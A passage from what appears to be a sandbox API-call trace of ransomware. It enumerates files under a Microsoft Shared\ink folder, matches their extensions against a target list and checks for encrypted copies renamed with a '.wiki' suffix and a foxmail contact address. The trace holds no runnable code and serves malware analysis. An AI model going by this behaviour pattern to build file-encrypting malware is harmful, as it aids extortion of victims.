lstrlenW (lpString=".ppt") returned 4 [0148.701] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.701] lstrlenW (lpString=".zip") returned 4 [0148.701] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.701] lstrlenW (lpString=".rar") returned 4 [0148.702] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.702] lstrlenW (lpString=".bz2") returned 4 [0148.702] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.702] lstrlenW (lpString=".7z") returned 3 [0148.702] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.702] lstrlenW (lpString=".dbf") returned 4 [0148.702] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.702] lstrlenW (lpString=".1cd") returned 4 [0148.702] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0148.702] lstrlenW (lpString=".jpg") returned 4 [0148.702] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.702] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.702] lstrlenW (lpString="auxbase.xml") returned 11 [0148.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.850] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1434) returned 1 [0148.850] CloseHandle (hObject=0x1d4) returned 1 [0148.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0148.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.850] lstrlenW (lpString=".doc") returned 4 [0148.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.850] lstrlenW (lpString=".docx") returned 5 [0148.850] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0148.850] lstrlenW (lpString=".pdf") returned 4 [0148.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.850] lstrlenW (lpString=".xls") returned 4 [0148.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.850] lstrlenW (lpString=".xlsx") returned 5 [0148.850] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0148.850] lstrlenW (lpString=".ppt") returned 4 [0148.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.850] lstrlenW (lpString=".zip") returned 4 [0148.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.851] lstrlenW (lpString=".rar") returned 4 [0148.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString=".bz2") returned 4 [0148.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString=".7z") returned 3 [0148.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString=".dbf") returned 4 [0148.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString=".1cd") returned 4 [0148.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString=".jpg") returned 4 [0148.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString=".doc") returned 4 [0148.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString=".docx") returned 5 [0148.851] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0148.851] lstrlenW (lpString=".pdf") returned 4 [0148.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString=".xls") returned 4 [0148.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString=".xlsx") returned 5 [0148.851] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0148.851] lstrlenW (lpString=".ppt") returned 4 [0148.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.851] lstrlenW (lpString=".zip") returned 4 [0148.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.852] lstrlenW (lpString=".rar") returned 4 [0148.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.852] lstrlenW (lpString=".bz2") returned 4 [0148.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.852] lstrlenW (lpString=".7z") returned 3 [0148.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.852] lstrlenW (lpString=".dbf") returned 4 [0148.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.852] lstrlenW (lpString=".1cd") returned 4 [0148.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0148.852] lstrlenW (lpString=".jpg") returned 4 [0148.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.852] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.852] lstrlenW (lpString="keypad.xml") returned 10 [0148.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0149.040] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=727) returned 1 [0149.040] CloseHandle (hObject=0x1e0) returned 1 [0149.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0149.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.195] lstrlenW (lpString=".doc") returned 4 [0149.195] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.195] lstrlenW (lpString=".docx") returned 5 [0149.195] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0149.195] lstrlenW (lpString=".pdf") returned 4 [0149.195] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.195] lstrlenW (lpString=".xls") returned 4 [0149.195] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.195] lstrlenW (lpString=".xlsx") returned 5 [0149.195] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0149.195] lstrlenW (lpString=".ppt") returned 4 [0149.195] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.195] lstrlenW (lpString=".zip") returned 4 [0149.195] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.195] lstrlenW (lpString=".rar") returned 4 [0149.196] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString=".bz2") returned 4 [0149.196] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString=".7z") returned 3 [0149.196] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString=".dbf") returned 4 [0149.196] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString=".1cd") returned 4 [0149.196] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString=".jpg") returned 4 [0149.196] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString=".doc") returned 4 [0149.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString=".docx") returned 5 [0149.196] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0149.196] lstrlenW (lpString=".pdf") returned 4 [0149.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString=".xls") returned 4 [0149.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString=".xlsx") returned 5 [0149.196] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0149.196] lstrlenW (lpString=".ppt") returned 4 [0149.196] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.196] lstrlenW (lpString=".zip") returned 4 [0149.196] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.196] lstrlenW (lpString=".rar") returned 4 [0149.196] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.197] lstrlenW (lpString=".bz2") returned 4 [0149.197] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.197] lstrlenW (lpString=".7z") returned 3 [0149.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.197] lstrlenW (lpString=".dbf") returned 4 [0149.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.197] lstrlenW (lpString=".1cd") returned 4 [0149.197] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0149.197] lstrlenW (lpString=".jpg") returned 4 [0149.197] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.197] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.197] lstrlenW (lpString="base_altgr.xml") returned 14 [0149.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.326] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3161) returned 1 [0149.326] CloseHandle (hObject=0x25c) returned 1 [0149.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0149.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.326] lstrlenW (lpString=".doc") returned 4 [0149.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.326] lstrlenW (lpString=".docx") returned 5 [0149.326] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.326] lstrlenW (lpString=".pdf") returned 4 [0149.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.326] lstrlenW (lpString=".xls") returned 4 [0149.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".xlsx") returned 5 [0149.327] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.327] lstrlenW (lpString=".ppt") returned 4 [0149.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString=".zip") returned 4 [0149.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.327] lstrlenW (lpString=".rar") returned 4 [0149.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".bz2") returned 4 [0149.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".7z") returned 3 [0149.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString=".dbf") returned 4 [0149.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString=".1cd") returned 4 [0149.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString=".jpg") returned 4 [0149.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.327] lstrlenW (lpString=".doc") returned 4 [0149.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".docx") returned 5 [0149.327] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0149.327] lstrlenW (lpString=".pdf") returned 4 [0149.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".xls") returned 4 [0149.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.327] lstrlenW (lpString=".xlsx") returned 5 [0149.328] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0149.328] lstrlenW (lpString=".ppt") returned 4 [0149.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.328] lstrlenW (lpString=".zip") returned 4 [0149.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.328] lstrlenW (lpString=".rar") returned 4 [0149.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.328] lstrlenW (lpString=".bz2") returned 4 [0149.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.328] lstrlenW (lpString=".7z") returned 3 [0149.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.328] lstrlenW (lpString=".dbf") returned 4 [0149.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.328] lstrlenW (lpString=".1cd") returned 4 [0149.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0149.328] lstrlenW (lpString=".jpg") returned 4 [0149.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.328] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.328] lstrlenW (lpString="base_heb.xml") returned 12 [0149.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.329] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=738) returned 1 [0149.329] CloseHandle (hObject=0x25c) returned 1 [0149.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0149.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".doc") returned 4 [0149.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString=".docx") returned 5 [0149.330] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0149.330] lstrlenW (lpString=".pdf") returned 4 [0149.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString=".xls") returned 4 [0149.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString=".xlsx") returned 5 [0149.330] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0149.330] lstrlenW (lpString=".ppt") returned 4 [0149.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".zip") returned 4 [0149.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.330] lstrlenW (lpString=".rar") returned 4 [0149.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString=".bz2") returned 4 [0149.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString=".7z") returned 3 [0149.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".dbf") returned 4 [0149.330] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".1cd") returned 4 [0149.330] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".jpg") returned 4 [0149.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.330] lstrlenW (lpString=".doc") returned 4 [0149.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString=".docx") returned 5 [0149.331] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0149.331] lstrlenW (lpString=".pdf") returned 4 [0149.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString=".xls") returned 4 [0149.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString=".xlsx") returned 5 [0149.331] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0149.331] lstrlenW (lpString=".ppt") returned 4 [0149.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.331] lstrlenW (lpString=".zip") returned 4 [0149.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.331] lstrlenW (lpString=".rar") returned 4 [0149.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString=".bz2") returned 4 [0149.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString=".7z") returned 3 [0149.331] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.331] lstrlenW (lpString=".dbf") returned 4 [0149.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.331] lstrlenW (lpString=".1cd") returned 4 [0149.331] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0149.331] lstrlenW (lpString=".jpg") returned 4 [0149.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.332] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0149.332] lstrlenW (lpString="base_jpn.xml") returned 12 [0149.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0149.332] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=804) returned 1 